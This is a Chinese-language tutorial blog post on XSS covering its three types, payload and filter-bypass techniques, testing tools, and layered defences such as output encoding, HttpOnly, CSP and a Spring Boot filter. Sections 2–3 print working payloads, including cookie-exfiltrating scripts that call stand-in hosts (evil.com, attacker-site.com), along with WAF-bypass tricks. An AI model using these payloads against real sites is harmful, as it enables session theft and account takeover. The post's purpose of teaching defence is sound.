1. 理解 XSS 攻击的核心
XSS(跨站脚本攻击,Cross-Site Scripting)是 Web 安全领域排名前三的老牌漏洞,时至今日依然是 OWASP Top 10 的常客。它的本质一句话就能说清:攻击者把本该是数据的脚本,让目标网站当成代码执行了。但因为浏览器无法区分来自服务器的合法脚本和混入数据的恶意脚本,这个漏洞才能从 Web 1.0 时代一路活到现在。
许多人把 XSS 当成“只是弹个窗”的小儿科,但实际危害远比这严重。攻击者可以利用 XSS 窃取用户登录凭证(Cookie)、模拟用户操作(比如发帖、转账)、篡改页面内容做钓鱼,甚至结合浏览器漏洞直接控制用户设备。在后台管理系统中,一个存储型 XSS 足以让攻击者以管理员身份执行任意操作。所以,无论是前端开发者、后端工程师还是安全工程师,都应该把 XSS 当回事。
套用我在团队里经常说的一句话:XSS 不是“能不能弹窗”的问题,而是“代码能不能在你网站上跑起来”的问题。这篇文章我会从攻击类型、攻击技巧、常见工具与平台、防御方法四个方向展开,把我这些年踩过的坑和实际经验一并放进里面,给新手一条可以复现的学习路径,也给已经有基础的同行一些可落地的防御参考。
用生活化的方式打个比方:XSS 攻击就像寄快递。你把包裹(用户输入)交给了快递站(Web 应用),快递站没有检查包裹内容就直接发货。包裹里有炸弹(恶意脚本),收件人(浏览器)不仅签收了,还在家里(用户会话)引爆了。整条链路里,快递站是最该把关却也最容易被忽略的一环。
2. 三种攻击类型的原理与区分
XSS 按触发位置和存储方式,通常分成三类:反射型、存储型、DOM 型。理解三者的区别,不光是面试考点,更是定位漏洞和设计防御方案的基础。
2.1 反射型 XSS:一次性会话劫持
反射型 XSS 也叫非持久型 XSS,恶意脚本被拼接到 URL 参数中,服务器把脚本“反射”回响应页面,脚本只在受害者的浏览器里执行一次。
典型场景是搜索框。用户输入关键词后,页面显示“您搜索的内容是:xxx”。如果网站直接把用户输入拼接进 HTML 而没有过滤,攻击者构造一个链接:
https://example.com/search?q=<script>alert(document.cookie)</script>受害者点击这个链接后,浏览器向服务器发送请求,服务器返回包含恶意脚本的页面,脚本在受害者浏览器中执行。整个过程看起来是“用户访问了一个正常网站”,所以很难设防。
这类攻击的触发前提是受害者主动点击攻击者构造的恶意链接,常见投递方式是钓鱼邮件、聊天消息、短链接。反射型 XSS 的最佳防御点在于服务端输出编码,对每个插入到 HTML 的变量进行上下文感知编码。
我在不少项目里见过这样的情况:开发者只对 GET 参数做了过滤,但 POST 参数没处理;或者只在 Java 后端做了替换,但前端 Vue/React 的插值表达式也会把字符串渲染成 HTML。这种“过滤一半”的做法,反而更容易制造安全盲区。
2.2 存储型 XSS:持续潜伏的“定时炸弹”
存储型 XSS 是最危险的类型。恶意脚本被攻击者提交到服务器数据库,之后任何用户访问包含这段内容的页面时,脚本都会执行。它不需要诱导用户点击链接,只要受害者浏览了被感染的页面即可中招。
典型场景:论坛帖子、评论区、用户昵称、个人简介、商品评价。攻击者在评论里提交:
<script>fetch('https://evil.com/steal?c='+document.cookie)</script>后续每个打开这条评论的用户,Cookie 都会被发送到攻击者的服务器。如果攻击者把脚本写成“创建新管理员账号”的操作,配合 CSRF 一起打,危害直接爆表。
存储型 XSS 的防御难度在于数据会被持久化,而且可能在多个页面被渲染。攻击者不一定把恶意代码写在明显的标签里,有时候藏在图片的onerror属性、SVG 的onload属性中。更隐蔽的做法是利用 UTF-7 编码或 c0/c1 控制字符让 WAF 识别失败。
我对存储型 XSS 的建议是:服务端对输入做白名单校验(不是黑名单),存储时原样保留数据,输出时根据渲染上下文选择正确的编码器。永远不要在服务端拼接 HTML 字符串去渲染用户数据,这是很多老项目的通病。
2.3 DOM 型 XSS:纯前端侧的攻击面
DOM 型 XSS 跟前两种最大的区别是:恶意脚本不会经过服务器,整个攻击链路发生在浏览器端。攻击者通过修改页面的 DOM 元素或 URL 片段(#后面的部分),触发前端 JavaScript 中不安全的 DOM 操作,让恶意代码在页面上下文中执行。
典型例子是document.write、innerHTML、eval、location.href把用户控制的数据当作代码解析。现在许多前端框架用v-html(Vue)或dangerouslySetInnerHTML(React)渲染富文本内容,如果不做净化处理,本质上就是把用户输入直接交给浏览器执行。
看这段代码,问题非常典型:
var name = new URLSearchParams(window.location.search).get('name'); document.getElementById('welcome').innerHTML = '欢迎 ' + name + ' 光临';攻击者构造 URL:
https://example.com/page?name=<img src=x onerror=alert(1)>因为innerHTML会解析 HTML 并加载图片,图片加载失败触发onerror事件执行脚本。整个过程中服务器完全没有参与name的解析,所以服务端过滤无从谈起,必须在前端处理。
DOM 型 XSS 在单页应用(SPA)时代尤其突出。前端框架虽然自动转义了默认插值({{ }}),但只要开发者用了v-html这类接口,就等于亲手打开了攻击面。CTF 比赛中常见的 DOM XSS 题目也大多围绕源码审计展开,考察选手能不能从location.search、location.hash、document.referrer这些数据源追踪到危险函数。
2.4 三种类型的对比与区分方法
| 维度 | 反射型 XSS | 存储型 XSS | DOM 型 XSS |
|---|---|---|---|
| 注入位置 | URL 参数/表单提交 | 数据库存储内容 | URL 片段/DOM 属性 |
| 触发方式 | 诱导用户点击恶意链接 | 用户浏览被感染页面 | 用户访问携带恶意参数的 URL |
| 是否经过服务器 | 是(脚本被服务端反射) | 是(脚本被存储后输出) | 否(纯前端执行) |
| 危害周期 | 一次性 | 持续性,所有访问者中招 | 取决于 URL 传播范围 |
| 防御重点 | 服务端输出编码 | 输入白名单+输出编码 | 前端 DOM 安全操作 |
快速自测一法:如果关闭 JavaScript 后 F12 里依然能看到注入的<script>标签,说明是反射/存储型;如果脚本只在 JS 执行后才出现在 DOM 里,且服务器响应中看不到完整 payload,那就是 DOM 型。
3. 攻击技巧的实际运作方式
在讲技巧之前,先说明一下:以下内容的目标是让防御者理解和识别威胁。知道攻击者怎么打,才知道怎么防。
3.1 Payload 的构造逻辑与绕过思路
XSS 的本质是让浏览器把攻击者控制的字符串当作代码执行。所以 payload 的核心结构通常包括两部分:触发点(标签、事件、协议)和恶意操作(窃取数据、篡改页面、发起请求)。
常见基础 payload:
<script>alert(1)</script> <img src=x onerror=alert(1)> <svg onload=alert(1)> <a href="javascript:alert(1)">点击</a>这些看起来简单,但开发者不可能不知道过滤<script>。真正的挑战在绕过,常见思路有:
- 大小写混写:
<ScRiPt>在某些大小写敏感的过滤规则下能绕过——不过现代浏览器不区分标签大小写。 - 编码绕过:把关键字做 HTML 实体编码(
j代替j)、URL 编码(%27代替单引号)、Unicode 编码(\u006a代替j)。有些 WAF 解码一次后不会再解码,就给了绕过机会。 - 标签拆分:
<scr<script>ipt>,如果过滤逻辑只是把<script>删除且不递归处理,拆分后的剩余部分恰好拼出可执行代码。 - 事件属性代替标签:
<img src=x onerror=...>就是典型,因为过滤规则可能只盯标签名,忽略了属性区的危险事件。 - 协议绕过:
href里用javascript:协议,或使用data:text/html;base64,...形式的伪协议。
3.2 从弹窗到窃取凭证的攻击链
弹窗只是证明 XSS 存在的“Hello World”,真实攻击往往是一套组合拳。最常见的攻击链是:
- 在评论区存储一段恶意脚本,脚本功能是从当前页面收集敏感信息。
- 假设目标站点把用户会话标识存在 Cookie 中(且未设 HttpOnly)。
- 脚本创建新的
Image对象,把 Cookie 拼成请求地址:
new Image().src = 'http://attacker-site.com/collect?cookie=' + document.cookie;- 攻击者拿到 Cookie 后,将其导入自己的浏览器,直接接管受害者的登录会话。
再高级一点,攻击者会把脚本写成“键盘记录器”,监听keydown事件收集密码;或者结合 CSRF 直接以受害者身份提交表单操作。存储型 XSS 配合 CSRF,是社工链条里很高效的一环。这也是为什么现在防御普遍强调HttpOnly Cookie——它至少能阻断窃取会话这条最常见的攻击路径。
3.3 如何从一段测试代码判定漏洞可利用性
在漏洞挖掘或安全测试时,验证一处 XSS 能不能走通,我有几个判断步骤:
第一步:找可控数据流。弄清楚用户输入从哪里进入(URL 参数、表单、localStorage、postMessage),流向哪里(DOM 渲染、AJAX 响应、跳转链接、属性拼接)。
第二步:判断反射点上下文。数据是插在 HTML 标签内部、属性值里、JavaScript 代码块里,还是 URL 路径里?不同上下文需要的编码方式完全不同。插在<div>里和插在<input value="...">里,payload 结构截然不同。
第三步:测试过滤强度。搜索框输入<svg/onload=alert(1)>,看返回页是原样输出、被转义还是被删除。如果只删<script>不删其他标签,那存储型 XSS 基本都能打穿。
第四步:验证执行条件。有些 XSS 需要用户交互(点击按钮)、特定浏览器版本、或特定组件加载完毕才会触发。这类低置信度的漏洞在报告评估中经常被降级,但在真实攻击中仍然可能被组合利用。
4. 攻击工具与可用平台盘点
工欲善其事,必先利其器。做安全测试离不开工具辅助,我按类型整理一下常用的平台和工具,偏向于防御者视角的检测与验证方向。
4.1 漏洞靶场与学习环境
- DVWA(Damn Vulnerable Web Application):入门级 PHP 靶场,XSS 模块分低、中、高三个安全等级,能直观看到过滤强度对 payload 的影响。本地用 Docker 拉起来就能练,适合初学阶段建立“输入-输出-上下文”的分析习惯。
- bWAPP / WebGoat:同样是漏洞靶场,WebGoat 是 Java 系,业务场景更完整,适合有开发经验的测试者。
- Pikachu 靶场:中文界面,包含的 XSS 案例典型,配合课程讲解用起来舒适度很高。
- CTFShow / BUUCTF 等 CTF 平台:比赛题目里有大量 XSS 考点,尤其是 DOM XSS 和前端沙箱逃逸题。做题的过程中会接触到较新奇的过滤逻辑、编码变换技巧,对思维训练很有帮助。
4.2 自动化扫描与辅助工具
- Burp Suite(专业版加半自动化扫描):我最常用的基石工具。先用主动扫描跑一遍,再用 Repeater 手工调整 payload 验证结果。扫描器能快速找到疑似注入点,但误报率不低,必须人工复核。
- OWASP ZAP:免费开源的替代方案,主动性扫描能力和 Burp 差距不算大,对个人学习或者预算有限的项目来说够用。
- XSStrike:专攻 XSS 的扫描工具,支持上下文感知分析、payload 生成、WAF 探测。它的 charset 转换功能,能在过滤规则极严格时找出编码绕过的路径。
- BeEF(Browser Exploitation Framework):XSS 拿到一个浏览器控制点之后,用它做后渗透。它本质是“浏览器傀儡”管理器,可以用来演示 XSS 的后续危害链。
4.3 在线平台的性质与争议
搜索热词里看到的“蓝莲花 XSS 平台”,属于国内的 XSS 利用测试平台。这类平台一般托管一个接收端脚本,用户把它注入目标站点后,平台可以收集 Cookie、截图、键盘记录等。
这里需要明确地说:这类平台本质上是攻击基础设施,涉及违法风险。我提它不是因为建议使用,而是提醒防御者——如果内网监控看到访问这类平台的流量,说明环境里可能已经有人在做 XSS 测试或攻击。合规的测试请使用自己搭建的接收脚本(比如用 Burp Collaborator 或自建 VPS 上的简单 HTTP 服务),不要依赖共享平台,数据安全也不可控。
5. 企业场景中的防御与落地实践
讲完攻击面和工具,接下来这部分是重头戏——防御。我在多家公司的实战经验里,XSS 防御绝不是“加一个过滤器”那么简单,而是一个分层的纵深防御体系。
5.1 输入校验与输出编码的黄金法则
防御 XSS 的第一原则是:输入校验降风险,输出编码保安全。这两者要同时做,但侧重点不同。
输入校验的核心是白名单。对于固定格式的字段(手机号、邮箱、数字),用正则强校验;对于文本域,判断逻辑应该是“只允许哪些字符出现”,而不是“禁止哪些字符出现”。黑名单永远有漏,因为网页端的编码方式太多了。
输出编码是真正的安全线。代码把数据渲染到 HTML 的四个不同上下文时,采用的编码规则不同:
| 上下文 | 编码方式 | 示例 |
|---|---|---|
| HTML 标签内容 | HTML 实体编码 | <div><script></div> |
| HTML 属性值 | HTML 属性编码 + 引号转义 | <input value="" onmouseover="..."> |
| JavaScript 代码块 | JavaScript 字符串转义 | \x3cscript\x3e |
| URL 参数 | URL 编码 + 协议白名单 | %3Cscript%3E |
一句话总结:在哪个上下文输出,就用哪个上下文的规则编码。我见过最多的错误是只做HtmlEncode,但数据被插到了<script>标签里,JS 代码根本不认 HTML 实体,照样能执行。
5.2 安全头与 HttpOnly 的配置要点
HttpOnly Cookie是阻断会话窃取的利器。设置之后,document.cookie读不到该 Cookie,XSS 脚本就无法直接偷取会话。但注意:HttpOnly拦不住攻击者用受害者的浏览器直接发请求(CSRF),所以要配合SameSite 属性使用。SameSite=Lax在现代浏览器中的默认行为能挡住绝大多数跨站请求伪造。
CSP(Content Security Policy)是 XSS 防御的最终防线。它告诉浏览器“页面只允许加载哪些来源的脚本”,就算攻击者成功注入了脚本,浏览器也会拒绝执行。一个较强的 CSP 策略类似:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'有些团队嫌 CSP 配置麻烦,觉得影响现有功能。但可以从script-src一项开始收紧,逐步加宽。在真实案例中,加了 CSP 后注入成功的 XSS payload 基本都是失效的,除非使用了非严格配置(比如放宽了'unsafe-inline')。
5.3 实践案例:Spring Boot 全局过滤器处理 PDF 上传时的 XSS 防御
搜索热词里有一条很有代表性:“Spring Boot 项目全局过滤器处理上传 PDF 文件时 XSS 攻击”。这个场景在实际项目中见过多次,很多人以为纯后端项目不用管 XSS,其实大错特错。
比如系统里有一个上传 PDF 的功能,上传后用 JavaScript 在前端展示文件内容。攻击者构造一个包含恶意 JavaScript 的 PDF,上传成功后被浏览器渲染执行。或者更常见的情况是:文件名被拼接进下载链接的 HTML 中,文件名里带的<script>会被直接执行。
Spring Boot 中一种常见的做法是注册一个全局 Filter,拦截所有请求,对请求参数做统一清理。示例如下:
@Component public class XssFilter implements Filter { @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { chain.doFilter(new XssHttpServletRequestWrapper((HttpServletRequest) request), response); } } public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper { public XssHttpServletRequestWrapper(HttpServletRequest request) { super(request); } @Override public String getParameter(String name) { String value = super.getParameter(name); return cleanXSS(value); } private String cleanXSS(String value) { if (value == null) { return null; } value = value.replaceAll("<", "<").replaceAll(">", ">"); value = value.replaceAll("eval\\((.*?)\\)", ""); value = value.replaceAll("[\\\"\\'][\\s]*javascript:(.*?)", ""); return value; } }但这里必须提醒一个关键教训:平时过滤参数没问题,但遇到上传文件的接口不要这样搞。multipart/form-data中的文件内容不应该经过字符串替换,否则 PDF 的二进制内容会被破坏。正确做法是让 Filter 专门跳过文件上传接口,或者只在请求头、URL、参数级别做处理,文件流原样通过。
另外一个在我项目中踩过的大坑是:全局过滤器处理了参数,却遗留了文件名的 XSS。攻击者上传一个名字叫<svg onload=alert(1)>.pdf的恶意文件,服务器把文件名返回给前端展示下载链接,前端直接拼接 URL。这种看似“低危”的路径,在管理后台却可能变成存储型 XSS。我的方案是:文件名在服务端做 Base64 编码后传参,前端解码显示,从根上杜绝特殊字符注入。
6. 常见问题与排查技巧实录
实战中的 XSS 问题往往不像教科书那样清晰。下面把高频问题整理成速查表,附上排查路径。
6.1 高频问题速查表
| 现象 | 可能原因 | 排查步骤 |
|---|---|---|
输入<script>被过滤,改用<img onerror>无效 | 事件属性被黑名单拦截 | 尝试 SVG 标签、<details>标签或改用 DOM 型触发 |
| 输出编码生效但仍有 XSS | 编码函数用错了上下文 | 检查输出位置是 HTML 标签还是 JS 字符串,换用对应编码器 |
| 存储的内容看起来安全,刷新后弹窗 | 存储型 XSS 在服务端拼接 HTML 时注入 | 审查服务端模板渲染逻辑,不要字符串拼接 HTML |
| CSP 开启了但注入的脚本还能跑 | 策略里带了'unsafe-inline'或动态创建了<script> | 删除unsafe-inline,考虑使用 nonce 或 hash 机制 |
| 文件上传接口报错 | 全局过滤器误伤 multipart 数据 | 过滤器跳过文件流,仅处理文本参数 |
| 手机端访问出现 XSS 但电脑端没有 | 移动端浏览器对某些编码解析不同 | 按浏览器/设备分环境测试,关注 WebKit 的自闭合标签解析差异 |
6.2 定位 DOM 型 XSS 的调试思路
DOM 型 XSS 不好扫出来,因为自动化工具很难模拟真实用户的 DOM 操作。我的调试路径如下:
先用浏览器 DevTools 的 Sources 面板搜索危险函数(innerHTML、document.write、eval、setTimeout、location赋值),看有没有用户可控数据流入。然后通过将URL修改为不同参数,逐步缩小触发条件。如果目标函数是eval,可以在函数前加断点,查看参数的来源链。
CTF 里的 DOM XSS 题也会用 JavaScript 源码混淆来增加难度,但不管怎么混淆,最终一定有个“源到槽”的数据流。用 DevTools 的“调用栈”面板回溯,或者用做好的浏览器扩展(如Hack-Tools)辅助搜索,效率会提高很多。
6.3 更新迭代:自动化工具扫描不到不等于安全
我在给团队做渗透测试报告复盘时反复强调:自动化工具扫不到的位置,往往是手工测试的突破口。工具擅长发 payload、看响应差异,但不擅长理解业务逻辑。比如一个富文本编辑器,前端把内容转换成 JSON 传给后端,后端解析 JSON 并嵌入 HTML 返回——扫描器看到的请求数据是一个结构化的 JSON,不会自动尝试里面的 HTML 标签值。这种场景,手工构造 JSON 中的content字段放 payload,一下子就测出存储型 XSS。
另外,很多工具扫描不到“二次 XSS”——攻击数据先存入数据库,等到某个管理页面把它渲染成选项或统计图表时触发。这类跨业务链路的漏洞,需要结合业务理解来挖掘。
7. 实战中值得坚持的几个原则
最后聊点个人体会。做 XSS 防御这么多年,我总结下来最有用的不是什么高级技巧,而是三个基础原则:
第一,安全编码规范要写进开发流程。光靠安全团队扫描是不够的。我推动团队把“输出编码”作为 Code Review 的强制检查项,React 项目里禁掉dangerouslySetInnerHTML的滥用,Vue 项目里对手写v-html做二次审核。效果比上线后修复好得多。
第二,测试要结合实际业务场景。用 DVWA 里的低安全等级练手、在 CTF 里做各种奇技淫巧,能帮自己快速熟悉 payload 构造和浏览器解析机制。但生产环境里真正重要的,是理解“数据从哪里来、到哪里去”,把业务链路盘清楚,漏洞定位才精准。
第三,防御纵深永远比单点防护可靠。输入校验算一层,输出编码算一层,HttpOnly 算一层,CSP 算一层,WAF 算一层。每层都可能被绕过,但多层叠加之后,攻击者要付出的成本是指数级上升的。我常说,让攻击者的投入产出比太低,本身就是一种成功的防御。
这些年见过太多因为 XSS 导致的账号批量被盗、后台被接管、整站被挂马的事件,每一件背后都是“过滤一下就行”的心态在作祟。安全没有银弹,但至少在 XSS 这个领域,把基础工作做扎实,你就能挡住绝大多数攻击者。